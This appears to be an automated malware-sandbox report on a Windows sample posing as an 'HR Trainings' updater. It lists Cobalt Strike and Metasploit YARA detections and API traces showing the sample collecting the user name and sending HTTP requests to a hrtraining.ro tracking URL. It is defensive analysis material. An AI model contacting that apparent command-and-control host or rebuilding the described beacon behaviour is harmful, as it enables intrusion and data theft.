CobaltStrike, Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.1942656539.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000002.2942922670.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2505022354.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2347750483.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2188557331.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.1854632916.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.1920477423.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2236236442.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	85.4%
Signature Coverage:	9.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 00B01CA0 Relevance: 65.5, APIs: 31, Strings: 6, Instructions: 786networkstringCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,?,?,21DC2236,?,00000000), ref: 00B01DC4
memcpy.VCRUNTIME140(00000000,00000001,00000001,00000000,00000000,?,?,21DC2236,?,00000000), ref: 00B01DFD

Part of subcall function 00B02730: memcpy.VCRUNTIME140(00000000,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00B0275D

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000000,?,?,21DC2236,?,00000000), ref: 00B01EC0
memcpy.VCRUNTIME140(00000000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,21DC2236,?,00000000), ref: 00B01EFB
memchr.VCRUNTIME140 ref: 00B01F1C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,21DC2236,?,00000000), ref: 00B01F9B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,21DC2236,?,00000000), ref: 00B0201C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,21DC2236), ref: 00B020CB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00B042CD,00000000,00B04308,00000001,00000000,00000000,00000000,00000000,?,?,21DC2236,?,00000000), ref: 00B0213B
socket.WS2_32(00000002,00000001,00000006), ref: 00B02259
inet_addr.WS2_32(00000000), ref: 00B02273
gethostbyname.WS2_32(00000000), ref: 00B0227B
inet_addr.WS2_32(00000000), ref: 00B02283
gethostbyaddr.WS2_32(?,00000004,00000002), ref: 00B02296
htons.WS2_32(00000050), ref: 00B022BB
connect.WS2_32(00000000,?,00000010), ref: 00B022D2

Part of subcall function 00B02730: memcpy.VCRUNTIME140(00000000,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00B0280C

send.WS2_32(00000000,?,?,00000000), ref: 00B02414
memset.VCRUNTIME140 ref: 00B02429
recv.WS2_32(?,?,00000200,00000000), ref: 00B02445
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 00B02465
memcpy.VCRUNTIME140(?,?,00000000), ref: 00B0247D
memset.VCRUNTIME140 ref: 00B02495
recv.WS2_32(?,?,00000200,00000000), ref: 00B024AC
strstr.VCRUNTIME140 ref: 00B024C7
strstr.VCRUNTIME140 ref: 00B024DA
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 00B02508
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,-00000004), ref: 00B02530
closesocket.WS2_32(?), ref: 00B02563
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00B02595
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00B025D1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00B02628

Strings

https://, xrefs: 00B01E4B
Host: %s, xrefs: 00B02376
http://, xrefs: 00B01D52
, xrefs: 00B024C1
, xrefs: 00B024D4
GET %s HTTP/1.0, xrefs: 00B02307

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy$inet_addrmemsetrecvstrstr$closesocketconnectgethostbyaddrgethostbynamehtonsmemchrreallocsendsocketstrncpy
String ID: $$GET %s HTTP/1.0$Host: %s$http://$https://
API String ID: 241144766-2968714747
Opcode ID: 1bff673d29df2f567242d15862eba1c75a0a6392bb2a835453657ef1e35d0b23
Instruction ID: 9ae3fafadb9f900987a09bae04eb0fb17ed971618cb8e38fddd6177bb4b39ed5
Opcode Fuzzy Hash: 1bff673d29df2f567242d15862eba1c75a0a6392bb2a835453657ef1e35d0b23
Instruction Fuzzy Hash: CC52B071A001189FDB15DF68CC98BADBFB6EF55314F1442E8E509A72C1DB329E89CB60

Function 00B01480 Relevance: 54.5, APIs: 25, Strings: 6, Instructions: 269
windowstringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00B014D0
GetUserNameW.ADVAPI32(?,?), ref: 00B014EE
wcstombs_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000101,?,00000101), ref: 00B01513
memset.VCRUNTIME140 ref: 00B0155E
strncat.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000400), ref: 00B01579

Part of subcall function 00B02180: socket.WS2_32(00000002,00000001,00000006), ref: 00B02259
Part of subcall function 00B02180: inet_addr.WS2_32(00000000), ref: 00B02273
Part of subcall function 00B02180: gethostbyname.WS2_32(00000000), ref: 00B0227B
Part of subcall function 00B02180: htons.WS2_32(00000050), ref: 00B022BB
Part of subcall function 00B02180: connect.WS2_32(00000000,?,00000010), ref: 00B022D2

WSACleanup.WS2_32 ref: 00B015A7
LoadStringW.USER32(?,00000067,SibcorUpdate,00000064), ref: 00B015BD
LoadStringW.USER32(?,0000006D,SIBCORUPDATE,00000064), ref: 00B015C9
LoadIconW.USER32(?,0000006B), ref: 00B0160C
LoadCursorW.USER32(00000000,00007F00), ref: 00B0161B
LoadIconW.USER32(?,0000006C), ref: 00B0164D
RegisterClassExW.USER32(00000030), ref: 00B0165C
CreateWindowExW.USER32(00000000,SIBCORUPDATE,SibcorUpdate,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 00B0168E
UpdateWindow.USER32(00000000), ref: 00B0169F
LoadIconW.USER32(?,0000006B), ref: 00B016A8
lstrcpyW.KERNEL32(?,HR Trainings), ref: 00B016F2
Shell_NotifyIconW.SHELL32(00000000,000003BC), ref: 00B01701
LoadAcceleratorsW.USER32(?,0000006D), ref: 00B0170A
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B01819
DialogBoxParamW.USER32(?,00000067,?,00B01A20,00000000), ref: 00B01839
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00B01859
TranslateMessage.USER32(?), ref: 00B0186A
DispatchMessageW.USER32(?), ref: 00B01877
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B0188A
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00B018A6

Strings

http://www.hrtraining.ro/trakingu/, xrefs: 00B01519
SibcorUpdate, xrefs: 00B015B5, 00B0167C
@qv, xrefs: 00B018A6
slv, xrefs: 00B01513
SIBCORUPDATE, xrefs: 00B015C1, 00B01643, 00B01681
HR Trainings, xrefs: 00B016BE

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: Load$IconMessage$StringTranslateWindow$AcceleratorAcceleratorsClassCleanupCreateCursorDialogDispatchNameNotifyParamRegisterShell_StartupUpdateUserconnectgethostbynamehtonsinet_addrlstrcpymemsetsocketstrncatterminatewcstombs_s
String ID: @qv$HR Trainings$SIBCORUPDATE$SibcorUpdate$http://www.hrtraining.ro/trakingu/$slv
API String ID: 821071236-801964392
Opcode ID: b083f8d62007d88ae7714f99ed62ea6e58347ecd31209255204e3746800bfbe6
Instruction ID: 4b583c298d7aa92c601f90eae20904b678de3e5909418f225bb64626bbbce684
Opcode Fuzzy Hash: b083f8d62007d88ae7714f99ed62ea6e58347ecd31209255204e3746800bfbe6
Instruction Fuzzy Hash: 5BC14AB1D4031D9BDB208F54DC49BEABBB8EB14705F0041D9E609A72D0EBB56B94CF91

Function 04FD4173 Relevance: 6.0, APIs: 4, Instructions: 44
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,04FF8490,00000001,F0000020,00000080,00000000,?,?,04FD41E9,?,04FCBE33,?,04FCBE33,?), ref: 04FD4196
CryptAcquireContextA.ADVAPI32(00000000,00000000,04FF8490,00000001,F0000028,?,?,04FD41E9,?,04FCBE33,?,04FCBE33,?), ref: 04FD41A9
CryptGenRandom.ADVAPI32(00000000,04FCBE33,?,?,?,04FD41E9,?,04FCBE33,?,04FCBE33,?), ref: 04FD41BD
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,04FD41E9,?,04FCBE33,?,04FCBE33,?), ref: 04FD41CD

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID: Crypt$Context$Acquire$RandomRelease
String ID:
API String ID: 685801729-0
Opcode ID: e41b14b3f58796d468a5004a3fd078f86d6e2c302e3a3753ab5fd9f70f0c400d
Instruction ID: d3a5fce6e6ab0cfcae319fecc83cf3f246ff188af8941330775f8a31f1194d8c
Opcode Fuzzy Hash: e41b14b3f58796d468a5004a3fd078f86d6e2c302e3a3753ab5fd9f70f0c400d
Instruction Fuzzy Hash: 7DF0AF36E41228FBDF218A91DD09F8E7B6DDF49B64F100011FE00B2040D7B0EA019BA4

Function 04FDD81B Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2943543603.0000000004FC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fc3000_hrupdate.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f15bf9834b2d04e925b24a2663e6d41f2882dfa1a279f5640d2de6c245aac20d
Instruction ID: 0e6672bd4912d781e6c354683cb95ba96bc9248861012f27e8461038d6080740
Opcode Fuzzy Hash: f15bf9834b2d04e925b24a2663e6d41f2882dfa1a279f5640d2de6c245aac20d
Instruction Fuzzy Hash: 2AD0123264910D9EEB11EE18FD415BDB3A3E740A95F840AD9EA01025447A2B7C275691

Function 00B02180 Relevance: 42.3, APIs: 20, Strings: 4, Instructions: 344
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B01CA0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,?,?,21DC2236,?,00000000), ref: 00B01DC4

socket.WS2_32(00000002,00000001,00000006), ref: 00B02259
inet_addr.WS2_32(00000000), ref: 00B02273
gethostbyname.WS2_32(00000000), ref: 00B0227B
inet_addr.WS2_32(00000000), ref: 00B02283
gethostbyaddr.WS2_32(?,00000004,00000002), ref: 00B02296
htons.WS2_32(00000050), ref: 00B022BB
connect.WS2_32(00000000,?,00000010), ref: 00B022D2
send.WS2_32(00000000,?,?,00000000), ref: 00B02414
memset.VCRUNTIME140 ref: 00B02429
recv.WS2_32(?,?,00000200,00000000), ref: 00B02445
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 00B02465
memcpy.VCRUNTIME140(?,?,00000000), ref: 00B0247D
memset.VCRUNTIME140 ref: 00B02495
recv.WS2_32(?,?,00000200,00000000), ref: 00B024AC
strstr.VCRUNTIME140 ref: 00B024C7
strstr.VCRUNTIME140 ref: 00B024DA
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 00B02508
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,-00000004), ref: 00B02530
closesocket.WS2_32(?), ref: 00B02563
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00B02595
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00B025D1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00B02628

Strings

Host: %s, xrefs: 00B02376
, xrefs: 00B024C1
, xrefs: 00B024D4
GET %s HTTP/1.0, xrefs: 00B02307

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$inet_addrmemcpymemsetrecvstrstr$closesocketconnectgethostbyaddrgethostbynamehtonsreallocsendsocketstrncpy
String ID: $$GET %s HTTP/1.0$Host: %s
API String ID: 1879041676-1199678302
Opcode ID: 237bf1f4030e2f9892e4d0222378a17ba824e6d40bef8d4ad545d724f3e75d59
Instruction ID: 55a47e74199f3875b478589be89616e1ac32844896622a9e71a60bb70ee1e69a
Opcode Fuzzy Hash: 237bf1f4030e2f9892e4d0222378a17ba824e6d40bef8d4ad545d724f3e75d59
Instruction Fuzzy Hash: C7D1E4719002189FDB24CF64DC49BDDBBB6EFA5304F0442E8E509A7291DB329E99CF64

Function 00B010A0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B02DCF: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00B027F7,00000000,00000000,?,?,?,00000000), ref: 00B02DE4

_Cnd_init.MSVCP140(?,00000000), ref: 00B0110F
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00B01123
_Mtx_init.MSVCP140(?,00000001), ref: 00B01144
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00B01152
_Mtx_lock.MSVCP140(?), ref: 00B01172
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00B01180
_Thrd_start.MSVCP140(?,Function_00001090,00B04424), ref: 00B011AA
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000001), ref: 00B011C3
_Cnd_wait.MSVCP140(?,?), ref: 00B011D6
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00B011E4
_Mtx_unlock.MSVCP140(?), ref: 00B01212
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00B01220
_Mtx_destroy.MSVCP140(?), ref: 00B01228
_Cnd_destroy.MSVCP140(?), ref: 00B01234
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00B0124A
?_Throw_Cpp_error@std@@YAXH@Z.MSVCP140(00000001), ref: 00B01270
_Thrd_detach.MSVCP140(?,?), ref: 00B0127F
?_Throw_C_error@std@@YAXH@Z.MSVCP140(00000000), ref: 00B0128D

Strings

@qv, xrefs: 00B0124A

Memory Dump Source

Source File: 00000000.00000002.2942621894.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2942591861.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942653485.0000000000B04000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942691161.0000000000B06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B07000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942715689.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_hrupdate.jbxd

Similarity

API ID: Throw_$C_error@std@@$Cnd_destroyCnd_initCnd_waitCpp_error@std@@Mtx_destroyMtx_initMtx_lockMtx_unlockThrd_detachThrd_startmallocterminate
String ID: @qv
API String ID: 3376608752-332092656
Opcode ID: ffa068ade5f07a5d49ad655867aa7194601478a0ad5f424701a42334c0fe8a43
Instruction ID: 9bbdcb817f76c4f0ead8987afa7d79f7c12b0e6773647265827dc9383b9f19fb
Opcode Fuzzy Hash: ffa068ade5f07a5d49ad655867aa7194601478a0ad5f424701a42334c0fe8a43
Instruction Fuzzy Hash: 20615FB0D00248ABDF14DBA8DD497DEBFF4EF14304F144169E905B3291EB75AA58CBA1

Function 00B02BC0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 102
memorynetworkencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

